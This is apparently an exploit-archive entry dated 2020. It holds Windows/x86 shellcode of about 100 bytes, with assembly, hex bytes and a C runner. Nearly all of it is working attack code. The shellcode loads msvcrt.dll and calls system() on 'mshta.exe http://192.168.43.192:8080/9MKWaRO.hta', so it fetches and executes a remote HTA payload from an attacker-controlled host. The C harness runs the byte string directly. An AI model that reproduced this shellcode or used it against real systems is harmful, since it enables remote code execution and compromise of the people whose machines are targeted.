100 bytes small Windows/x86 download using mshta.exe shellcode.
35ca25f1d948941abefae3daa165c025# Shellcode Title: Windows/x86 Download using mshta.exe Shellcode (100 bytes)
# Shellcode Author: Siddharth Sharma
# Shellcode Length: ~100 bytes
# Tested on: WIN7x86
# Date: 2020-06-16
/*
#Description
# Simply, instead of using mshta.exe to download file as:
mshta.exe http://<IP>:<port>/<file_name.hta> ,
# We could use below shellcode that does the same.
=============================
xor eax, eax ;clear eax,get msvcrt.dll
mov ax, 0x7472 ;"tr\0\0"
push eax
push dword 0x6376736d ;cvsm
push esp
mov ebx,0x77e3395c ;call LoadLibraryA
call ebx
mov ebp,eax ;msvcrt.dll is saved in ebp
;mshta.exe http://192.168.43.192:8080/9MKWaRO.hta
xor eax,eax
PUSH eax
PUSH 0x6174682e ;".hta"
PUSH 0x4f526157 ;"WaRO"
PUSH 0x4b4d392f ;"/9MK"
PUSH 0x38303830 ;"8080"
PUSH 0x3a323931 ;"192:"
PUSH 0x2e33342e ;".43."
PUSH 0x3836312e ;".168"
PUSH 0x3239312f ;"/192"
PUSH 0x2f3a7074 ;"tp:/"
PUSH 0x74682065 ;"e ht"
PUSH 0x78652e61 ;"a.ex"
PUSH 0x7468736d ;"msht"
MOV EDI,ESP ;adding a pointer to the stack
PUSH EDI
Mov eax,0x6ffab16f ;call System
call eax
xor eax, eax
push eax
mov eax, 0x77e3214f ;call ExitProcess
call eax
=====================================
*/
char code[] = "\x31\xc0\x66\xb8\x72\x74\x50\x68\x6d\x73\x76\x63\x54\xbb\x5c\x39\xe3\x77\xff\xd3\x89\xc5\x31\xc0\x50\x68\x2e\x68\x74\x61\x68\x57\x61\x52\x4f\x68\x2f\x39\x4d\x4b\x68\x30\x38\x30\x38\x68\x31\x39\x32\x3a\x68\x2e\x34\x33\x2e\x68\x2e\x31\x36\x38\x68\x2f\x31\x39\x32\x68\x74\x70\x3a\x2f\x68\x65\x20\x68\x74\x68\x61\x2e\x65\x78\x68\x6d\x73\x68\x74\x89\xe7\x57\xb8\x6f\xb1\xfa\x6f\xff\xd0\x31\xc0\x50\xb8\x4f\x21\xe3\x77\xff\xd0";
int main(int argc, char **argv)
{
int(*func)();
func = (int(*)()) code;
(int)(*func)();
}